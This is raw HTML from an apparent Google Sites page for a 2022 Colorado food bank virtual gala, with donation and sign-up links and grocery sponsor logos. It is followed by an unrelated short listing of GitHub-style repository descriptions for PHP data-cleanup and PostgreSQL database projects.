class="TlfmSc YSH9J"><a class="GAuSPc" jsname="jIujaf" href="/lpsk12.org/coloradofoodabankvirtualgala22/home"><img src="https://lh6.googleusercontent.com/1d00Wotr822E8Bwc0LjjJkez2-wxblKSuwbEMYF7aaCTUyXtCBQ8fRpyRoCwrxxCr26KCRSH93bjIZ-T_dX0Pjo=w16383" class="lzy1Td" role="img" aria-label="Site home" jsname="SwcDWb"><span class="QTKDff p46B7e">Coloradofoodabankvirtualgala2022</span></a></div></div><div jsname="mADGA" class="zDUgLc"></div></div><div class="TxnWlb" jsname="BDdyze" jsaction="click:LUvzV"></div><div jscontroller="gK4msf" class="RBEWZc" jsname="h04Zod" jsaction="rcuQ6b:WYd;JIbuQc:AT95Ub;VbOlFf:HgE5D;FaOgy:HgE5D;MxH79b:JdcaS;" data-side-navigation="true"><div role="button" class="U26fgb mUbCce fKz7Od Wdnjke M9Bg4d" jscontroller="VXdfxd" jsaction="click:cOuCgd; mousedown:UX7yZ; mouseup:lbsD7e; mouseenter:tfO1Yc; mouseleave:JywGue; focus:AHmuwe; blur:O22p3e; contextmenu:mg9Pef;touchstart:p6p2H; touchmove:FwuNnf; touchend:yfqBxc(preventMouseEvents=true|preventDefault=true); touchcancel:JMtRjd;" jsshadow jsname="R9oOZd" aria-label="Open search bar" aria-disabled="false" tabindex="0" data-tooltip="Open search bar" aria-expanded="false" data-tooltip-vertical-offset="-12" data-tooltip-horizontal-offset="0"><div class="VTBa7b MbhUzd" jsname="ksKsZd"></div><span jsslot class="xjKiLb"><span class="Ce1Y1c" style="top: -12px"><svg class="vu8Pwe iWs3gf YSH9J" viewBox="0 0 24 24" focusable="false"><path d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z"/><path d="M0 0h24v24H0z" fill="none"/></svg></span></span></div><div class="vsGQBe wgxiMe" jsname="AznF2e"></div></div></div><script nonce="dJWtMAFtmjuzNhlJ8bIveA">DOCS_timing['navv'] = new Date().getTime();</script></header><div role="main" tabindex="-1" class="UtePc RCETm yxgWrb" dir="ltr"><section id="h.INITIAL_GRID.n3fzw246rj3t" class="yaqOZd LB7kq cJgDec nyKByd O13XJf" style=""><div class="Nu95r"><div class="IFuOkc" style="background-size: cover; background-position: center center; background-image: url(https://lh4.googleusercontent.com/9lhhVkiT_eCVcC4OS4ACkNychxfCjMCwmWJy3WD6nem2A_T8tlGAA1yF_Lhkw3p4zn7ooa2GL0hW11ap7SxkIsM=w16383);" jsname="LQX2Vd"></div></div><div class="mYVXT"><div class="LS81yb VICjCf" tabindex="-1"><div class="hJDwNd-AhqUyc-uQSCkd JNdkSc L6cTce-purZT L6cTce-pSzOP"><div class="JNdkSc-SmKAyb"><div class="" jscontroller="sGwD4d" jsaction="zXBUYb:zTPCnb;zQF9Uc:Qxe3nd;" jsname="F57UId"></div></div></div></div></div></section><section id="h.75c8be5e33dd375b_6" class="yaqOZd lQAHbd" style=""><div class="IFuOkc"></div><div class="mYVXT"><div class="LS81yb VICjCf" tabindex="-1"><div class="hJDwNd-AhqUyc-uQSCkd purZT-AhqUyc-II5mzb pSzOP-AhqUyc-qWD73c JNdkSc yYI8W "><div class="JNdkSc-SmKAyb"><div class="" jscontroller="sGwD4d" jsaction="zXBUYb:zTPCnb;zQF9Uc:Qxe3nd;" jsname="F57UId"><div class="oKdM2c Kzv0Me"><div id="h.75c8be5e33dd375b_3" class="hJDwNd-AhqUyc-uQSCkd jXK9ad D2fZ2 OjCsFc"><div class="jXK9ad-SmKAyb"><div class="tyJCtd N0neUc baZpAe"><div role="presentation" class="U26fgb L7IXhc htnAL QmpIrf M9Bg4d" jscontroller="VXdfxd" jsaction="click:cOuCgd; mousedown:UX7yZ; mouseup:lbsD7e; mouseenter:tfO1Yc; mouseleave:JywGue; focus:AHmuwe; blur:O22p3e; contextmenu:mg9Pef;" jsshadow aria-label="Donate Here!" aria-disabled="false" data-tooltip="Donate Here!" data-tooltip-vertical-offset="-12" data-tooltip-horizontal-offset="0"><a class="FKF6mc TpQm9d QmpIrf" href="https://www.google.com/url?q=https%3A%2F%2Fsecure.foodbankrockies.org%2Fsite%2FDonation2%3Fdf_id%3D6741%26mfc_pref%3DT%266741.donation%3Dform1%26_ga%3D2.193447342.2028091947.1639097219-2147196906.1639097219&sa=D&sntz=1&usg=AFQjCNEL-cjINYRKHmSLVLjXVGVs1Tt24Q" target="_blank" aria-label="Donate Here!"><div class="NsaAfc"><p>Donate Here!</p></div><div class="wvnY3c" jsname="ksKsZd"></div></a></div></div></div></div></div><div class="oKdM2c"><div id="h.75c8be5e33dd375b_43" class="hJDwNd-AhqUyc-uQSCkd jXK9ad D2fZ2 wHaque QaN0Zc"><div class="jXK9ad-SmKAyb"><div class="tyJCtd N0neUc baZpAe"><div role="presentation" class="U26fgb L7IXhc htnAL QmpIrf M9Bg4d" jscontroller="VXdfxd" jsaction="click:cOuCgd; mousedown:UX7yZ; mouseup:lbsD7e; mouseenter:tfO1Yc; mouseleave:JywGue; focus:AHmuwe; blur:O22p3e; contextmenu:mg9Pef;" jsshadow aria-label="Sign Up Right Here!" aria-disabled="false" data-tooltip="Sign Up Right Here!" data-tooltip-vertical-offset="-12" data-tooltip-horizontal-offset="0"><a class="FKF6mc TpQm9d QmpIrf" href="https://docs.google.com/forms/d/e/1FAIpQLSdeSEyrp2BcrtOoNObnQcs9eeVmhGs44ckvqRV3QqUc-kZr0A/viewform?usp=sf_link" target="_blank" aria-label="Sign Up Right Here!"><div class="NsaAfc"><p>Sign Up Right Here!</p></div><div class="wvnY3c" jsname="ksKsZd"></div></a></div></div></div></div></div></div></div></div></div></div></section><section id="h.75c8be5e33dd375b_17" class="yaqOZd lQAHbd" style=""><div class="IFuOkc"></div><div class="mYVXT"><div class="LS81yb VICjCf" tabindex="-1"><div class="hJDwNd-AhqUyc-c5RTEf purZT-AhqUyc-c5RTEf pSzOP-AhqUyc-c5RTEf JNdkSc yYI8W "><div class="JNdkSc-SmKAyb"><div class="" jscontroller="sGwD4d" jsaction="zXBUYb:zTPCnb;zQF9Uc:Qxe3nd;" jsname="F57UId"><div class="oKdM2c Kzv0Me"><div id="h.75c8be5e33dd375b_39" class="hJDwNd-AhqUyc-c5RTEf purZT-AhqUyc-c5RTEf pSzOP-AhqUyc-c5RTEf jXK9ad D2fZ2 OjCsFc"><div class="jXK9ad-SmKAyb"><div class="tyJCtd baZpAe"><div class="t3iYD"><img src="https://lh5.googleusercontent.com/C3hi4eRcyAub8Prpf1Xuk2K5tvKseGXjWXe_Fsa3l6DuTL28txYiYFGdPBgMVTlP3-CeHH__eVWP_CPL3VeUCis=w1280" class="CENy8b" role="img"></div></div></div></div></div><div class="oKdM2c"><div id="h.75c8be5e33dd375b_22" class="hJDwNd-AhqUyc-c5RTEf purZT-AhqUyc-c5RTEf pSzOP-AhqUyc-c5RTEf jXK9ad D2fZ2 wHaque GNzUNc"><div class="jXK9ad-SmKAyb"><div class="tyJCtd mGzaTb baZpAe"><p dir="ltr" class="CDt4Ke zfr3Q" style="margin-left: 30pt; padding-left: 0; text-indent: 0;"> <span class=" aw5Odc" style="font-variant: normal; text-decoration: underline;"><a class="XqQF9c" href="https://www.google.com/url?q=https%3A%2F%2Fwww.kingsoopers.com%2F&sa=D&sntz=1&usg=AFQjCNELlrNbgNiqQajj1a7tNUAJYhH0Tw" target="_blank">King Soopers</a></span><span style="font-variant: normal;"> </span></p></div></div></div></div></div></div></div><div class="hJDwNd-AhqUyc-c5RTEf purZT-AhqUyc-c5RTEf pSzOP-AhqUyc-c5RTEf JNdkSc yYI8W "><div class="JNdkSc-SmKAyb"><div class="" jscontroller="sGwD4d" jsaction="zXBUYb:zTPCnb;zQF9Uc:Qxe3nd;" jsname="F57UId"><div class="oKdM2c Kzv0Me"><div id="h.75c8be5e33dd375b_40" class="hJDwNd-AhqUyc-c5RTEf purZT-AhqUyc-c5RTEf pSzOP-AhqUyc-c5RTEf jXK9ad D2fZ2 OjCsFc"><div class="jXK9ad-SmKAyb"><div class="tyJCtd baZpAe"><div class="t3iYD"><img src="https://lh5.googleusercontent.com/COamqdEVowtIh7FU8Biwce81fStavPhudOKphQ56EZnGnmg9pAgDjO_YDsyYPebSObLiWjdqw8i6H9KgryUJ8QOnaLMhHz5pQZcoFTqvVJLAsl8-a2uk3o-itR0XT8Y6tw=w1280" class="CENy8b" role="img"></div></div></div></div></div><div class="oKdM2c"><div id="h.75c8be5e33dd375b_27" class="hJDwNd-AhqUyc-c5RTEf purZT-AhqUyc-c5RTEf pSzOP-AhqUyc-c5RTEf jXK9ad D2fZ2 wHaque GNzUNc"><div class="jXK9ad-SmKAyb"><div class="tyJCtd mGzaTb baZpAe"><p dir="ltr" class="CDt4Ke zfr3Q" style="text-align: center;"><span class=" aw5Odc" style="text-decoration: underline;"><a class="XqQF9c" href="https://www.google.com/url?q=https%3A%2F%2Fwww.safeway.com%2F&sa=D&sntz=1&usg=AFQjCNHxGPrUMPyD4eRLI7InWEJS4bRBtQ" target="_blank">Safeway</a></span> </p></div></div></div></div></div></div></div><div class="hJDwNd-AhqUyc-c5RTEf purZT-AhqUyc-c5RTEf pSzOP-AhqUyc-c5RTEf JNdkSc yYI8W "><div class="JNdkSc-SmKAyb"><div class="" jscontroller="sGwD4d" jsaction="zXBUYb:zTPCnb;zQF9Uc:Qxe3nd;" jsname="F57UId"><div class="oKdM2c Kzv0Me"><div id="h.75c8be5e33dd375b_41" class="hJDwNd-AhqUyc-c5RTEf purZT-AhqUyc-c5RTEf pSzOP-AhqUyc-c5RTEf jXK9ad D2fZ2 OjCsFc"><div class="jXK9ad-SmKAyb"><div class="tyJCtd baZpAe"><div class="t3iYD"><img src="https://lh3.googleusercontent.com/6AcsCo-jUs4bG1op1KlIJs4tR0cYk9S-m8WJQo2reDAvgqeFYnraxOS1XNt72MD0p6lGJo7CYOgD0fgNoN2cESk=w1280" class="CENy8b" role="img" style="width: 100%; margin: 0% 0 0% 0%"></div></div></div></div></div><div class="oKdM2c"><div id="h.75c8be5e33dd375b_32" class="hJDwNd-AhqUyc-c5RTEf purZT-AhqUyc-c5RTEf pSzOP-AhqUyc-c5RTEf jXK9ad D2fZ2 wHaque GNzUNc"><div class="jXK9ad-SmKAyb"><div class="tyJCtd mGzaTb baZpAe"><p dir="ltr" class="CDt4Ke zfr3Q" style="text-align: center;"><span class=" aw5Odc" style="text-decoration: underline;"><a class="XqQF9c" href="https://www.google.com/url?q=https%3A%2F%2Fwww.traderjoes.com%2Fhome&sa=D&sntz=1&usg=AFQjCNHpgz1sHK207KO5qJ7s_v8jJG7n0A" target="_blank">Trader Joe's </a></span> </p></div></div></div></div></div></div></div><div class="hJDwNd-AhqUyc-c5RTEf purZT-AhqUyc-c5RTEf pSzOP-AhqUyc-c5RTEf JNdkSc yYI8W "><div class="JNdkSc-SmKAyb"><div class="" jscontroller="sGwD4d" jsaction="zXBUYb:zTPCnb;zQF9Uc:Qxe3nd;" jsname="F57UId"><div class="oKdM2c Kzv0Me"><div id="h.75c8be5e33dd375b_42" class="hJDwNd-AhqUyc-c5RTEf purZT-AhqUyc-c5RTEf pSzOP-AhqUyc-c5RTEf jXK9ad D2fZ2 OjCsFc"><div class="jXK9ad-SmKAyb"><div class="tyJCtd baZpAe"><div class="t3iYD"><img src="https://lh5.googleusercontent.com/-cZOIbD_TKy9wUH7HqXyDy1KWfCgncuvOHgsDRSrW-UxWZNWglhbkblUSW5dyzAto-RtkQa4nlG2y9lBzCaHfAE=w1280" class="CENy8b" role="img" style="width: 100%; margin: 0% 0 0% 0%"></div></div></div></div></div><div class="oKdM2c"><div id="h.75c8be5e33dd375b_37" class="hJDwNd-AhqUyc-c5RTEf purZT-AhqUyc-c5RTEf pSzOP-AhqUyc-c5RTEf jXK9ad D2fZ2 wHaque GNzUNc"><div class="jXK9ad-SmKAyb"><div class="tyJCtd mGzaTb baZpAe"><p dir="ltr" class="CDt4Ke zfr3Q" style="text-align: center;"><span class=" aw5Odc" style="text-decoration: underline;"><a class="XqQF9c" href="https://www.google.com/url?q=https%3A%2F%2Fwww.wholefoodsmarket.com%2F&sa=D&sntz=1&usg=AFQjCNFRnSj1V2R471pFC59B68QBlEZMBg" target="_blank">Whole Foods</a></span> </p></div></div></div></div></div></div></div></div></div></section></div><div class="Xpil1b"></div><div jscontroller="j1RDQb" jsaction="rcuQ6b:rcuQ6b;MxH79b:JdcaS;FaOgy:XuHpsb;" class="dZA9kd ynRLnc" data-last-updated-at-time="1639450453230"><div role="button" class="U26fgb JRtysb WzwrXb I12f0b K2mXPb zXBiaf ynRLnc" jscontroller="iSvg6e" jsaction="click:cOuCgd; mousedown:UX7yZ; mouseup:lbsD7e; mouseenter:tfO1Yc; mouseleave:JywGue; focus:AHmuwe; blur:O22p3e; contextmenu:mg9Pef;touchstart:p6p2H; touchmove:FwuNnf; touchend:yfqBxc(preventMouseEvents=true|preventDefault=true); touchcancel:JMtRjd;;keydown:I481le;" jsshadow jsname="Bg3gkf" aria-label="Site actions" aria-disabled="false" tabindex="0" aria-haspopup="true" aria-expanded="false" data-menu-corner="bottom-start" data-anchor-corner="top-start"><div class="NWlf3e MbhUzd" jsname="ksKsZd"></div><span jsslot class="MhXXcc oJeWuf"><span class="Lw7GHd snByac"><svg width="24" height="24" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 17h2v-6h-2v6zm1-15C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zM11 9h2V7h-2v2z"/></svg></span></span><div jsname="xl07Ob" style="display:none" aria-hidden="true"><div class="JPdR6b hVNH5c" jscontroller="uY3Nvd" jsaction="IpSVtb:TvD9Pc;fEN2Ze:xzS4ub;frq95c:LNeFm;cFpp9e:J9oOtd; click:H8nU8b; mouseup:H8nU8b; keydown:I481le; keypress:Kr2w4b; blur:O22p3e; focus:H8nU8b" role="menu" tabindex="0" style="position:fixed"><div class="XvhY1d" jsaction="mousedown:p8EH2c; touchstart:p8EH2c;"><div class="JAPqpe K0NPx"><span jsslot class="z80M1 FeRvI" jsaction="click:o6ZaF(preventDefault=true); mousedown:lAhnzb; mouseup:Osgxgf; mouseenter:SKyDAe; mouseleave:xq3APb;touchstart:jJiBRc; touchmove:kZeBdd; touchend:VfAz8(preventMouseEvents=true)" jsname="j7LFlb" data-disabled-tooltip="Contact is not available in preview mode" aria-label="Contact" role="menuitem" tabindex="-1"><div class="aBBjbd MbhUzd" jsname="ksKsZd"></div><div class="uyYuVb oJeWuf" jscontroller="j3gDVb" jsaction="JIbuQc:sGCPHc;" jsmodel="Rta7Nb" data-normalized-path="lpsk12.org/coloradofoodabankvirtualgala22/home"><div class="jO7h3c">Contact</div></div></span><span jsslot class="z80M1 FeRvI" jsaction="click:o6ZaF(preventDefault=true); mousedown:lAhnzb; mouseup:Osgxgf; mouseenter:SKyDAe; mouseleave:xq3APb;touchstart:jJiBRc; touchmove:kZeBdd; touchend:VfAz8(preventMouseEvents=true)" jsname="j7LFlb" data-disabled-tooltip="Report abuse is not available in preview mode" aria-label="Report abuse" role="menuitem" tabindex="-1"><div class="aBBjbd MbhUzd" jsname="ksKsZd"></div><div class="uyYuVb oJeWuf" jscontroller="HYv29e" jsaction="JIbuQc:dQ6O0c;" jsname="xx9PJb" data-abuse-proto="%.@.null,"109123138299365960604","https://sites.google.com/lpsk12.org/coloradofoodabankvirtualgala22/home",null,null,[],[]]"><div class="jO7h3c">Report abuse</div></div></span><span jsslot class="z80M1 FeRvI" jsaction="click:o6ZaF(preventDefault=true); mousedown:lAhnzb; mouseup:Osgxgf; mouseenter:SKyDAe; mouseleave:xq3APb;touchstart:jJiBRc; touchmove:kZeBdd; touchend:VfAz8(preventMouseEvents=true)" jsname="j7LFlb" aria-label="Page details" role="menuitem" tabindex="-1"><div class="aBBjbd MbhUzd" jsname="ksKsZd"></div><div class="uyYuVb oJeWuf" jsaction="JIbuQc:hriXLd;" jsname="Rg8K2c"><div class="jO7h3c">Page details</div></div></span></div></div></div></div></div></div><div jscontroller="j1RDQb" jsaction="focusin:gBxDVb(srlkmf); focusout:zvXhGb(srlkmf); click:ro2KTd(psdQ5e),Toy3n(V2zOu);JIbuQc:DSypkd(Bg3gkf);MxH79b:JdcaS;rcuQ6b:rcuQ6b;" class="LqzjUe ynRLnc" data-last-updated-at-time="1639450453230"><div jsname="psdQ5e" class="Q0cSn"></div><div jsname="bN97Pc" class="hBW7Hb"><div role="button" class="U26fgb mUbCce fKz7Od kpPxtd QMuaBc M9Bg4d" jscontroller="VXdfxd" jsaction="click:cOuCgd; mousedown:UX7yZ; mouseup:lbsD7e; mouseenter:tfO1Yc; mouseleave:JywGue; focus:AHmuwe; blur:O22p3e; contextmenu:mg9Pef;touchstart:p6p2H; touchmove:FwuNnf; touchend:yfqBxc(preventMouseEvents=true|preventDefault=true); touchcancel:JMtRjd;" jsshadow jsname="Bg3gkf" aria-label="Site actions" aria-disabled="false" tabindex="-1" aria-hidden="true"><div class="VTBa7b MbhUzd" jsname="ksKsZd"></div><span jsslot class="xjKiLb"><span class="Ce1Y1c" style="top: -12px"><svg width="24" height="24" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 17h2v-6h-2v6zm1-15C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zM11 9h2V7h-2v2z"/></svg></span></span></div><div jsname="srlkmf" class="hUphyc"><div class="YkaBSd"><div class="iBkmkf"><span>Page updated</span> <span jsname="CFIm1b" class="dji00c" jsaction="AHmuwe:eGiyHb; mouseover:eGiyHb;" tabindex="0" role="contentinfo"></span></div></div><div class="YkaBSd" jscontroller="j3gDVb" jsmodel="Rta7Nb" jsaction="click:sGCPHc;" data-normalized-path="lpsk12.org/coloradofoodabankvirtualgala22/home"><div role="button" class="U26fgb kpPxtd J7BuEb" jsshadow aria-label="Contact " aria-disabled="false" tabindex="0">Contact</div></div><div class="YkaBSd" jscontroller="HYv29e" jsaction="click:dQ6O0c;" data-abuse-proto="%.@.null,"109123138299365960604","https://sites.google.com/lpsk12.org/coloradofoodabankvirtualgala22/home",null,null,[],[]]"><div role="button" class="U26fgb kpPxtd J7BuEb" jsshadow aria-label="Report abuse" aria-disabled="false" tabindex="0">Report abuse</div></div></div></div></div><div jsname="kdb7zb"><div jscontroller="kklOXe" jsmodel="nbZU0e" jsaction="rcuQ6b:rcuQ6b;FaOgy:nkegzf;BU3dg:U3QbAf;HRy4zb:Z8zbSc;" class="Qg1aof HnW5Jb"><div class="t5XhQc" jsname="LgbsSe"><div jscontroller="TW9Rvc" jsaction="rcuQ6b:WYd;" tabindex="0"><div role="presentation" class="U26fgb XHsn7e MAXCNe M9Bg4d" jscontroller="VXdfxd" jsaction="click:cOuCgd; mousedown:UX7yZ; mouseup:lbsD7e; mouseenter:tfO1Yc; mouseleave:JywGue; focus:AHmuwe; blur:O22p3e; contextmenu:mg9Pef;" jsshadow jsname="LgbsSe" aria-label="Edit this page" aria-disabled="false" data-tooltip="Edit this page" data-tooltip-vertical-offset="-12" data-tooltip-horizontal-offset="0"><a class="FKF6mc TpQm9d" href="/u/0/d/1nXWCuHwUIByUiSEZ1GhPb1xqLzH6owRA/p/15xQki5RuXpWfPBLFug6PK9kvOv58b08z/edit?authuser=0&usp=edit_published_site" aria-label="Edit this page"><div class="HaXdpb wb61gb"></div><div class="HRp7vf MbhUzd" jsname="ksKsZd"></div><span jsslot class="Ip8zfc"><svg class="EI709d" viewBox="0 0 24 24" fill="currentColor" focusable="false"><path d="M3 17.25V21h3.75L17.81 9.94l-3.75-3.75L3 17.25zM20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.39-.39-1.02-.39-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83z"/><path d="M0 0h24v24H0z" fill="none"/></svg></span></a></div></div></div></div></div></div></div><script nonce="dJWtMAFtmjuzNhlJ8bIveA">DOCS_timing['cov']=new Date().getTime();</script><script src="https://www.gstatic.com/_/atari/_/js/k=atari.vw.en.RAG4EMOkjRs.O/d=1/rs=AGEqA5mcVDERDUrCYzpljALirFemxq_WJw/m=view" id="base-js" nonce="dJWtMAFtmjuzNhlJ8bIveA"></script></div></div><div jscontroller="YV8yqd" jsaction="rcuQ6b:npT2md"><div id="docs-aria-speakable" aria-live="assertive" aria-relevant="additions" aria-atomic="true" aria-hidden="false" role="region" class="IWfHH"></div></div></body></html>
OldskoolOrion
PHP function to normalize / fix / cleanup previously mangled data by encoding problems (e.g. ISO-8859-1 vs Windows-1252). Released under MIT license : use / change / adept whatever, whenever you want - or do not use at all :-)
BVaduva
CLI-based ETL pipeline for automated scraping, normalization, and auditing of OSS license data. Built with strict-type PHP & Service-Oriented Architecture.
Avish-2004
A PostgreSQL-based RTO (Regional Transport Office) database project featuring a normalized schema, functional dependencies, relational modeling, and optimized SQL queries for real-world vehicle and license data management. Designed with DBMS principles and implemented using pgAdmin 4.
PrinceKaklotar
A PostgreSQL-based RTO (Regional Transport Office) database project with a normalized schema, functional dependencies, relational models, and optimized SQL queries to manage real-world vehicle and license data. Built on core DBMS principles and implemented via pgAdmin 4
All 9 repositories loaded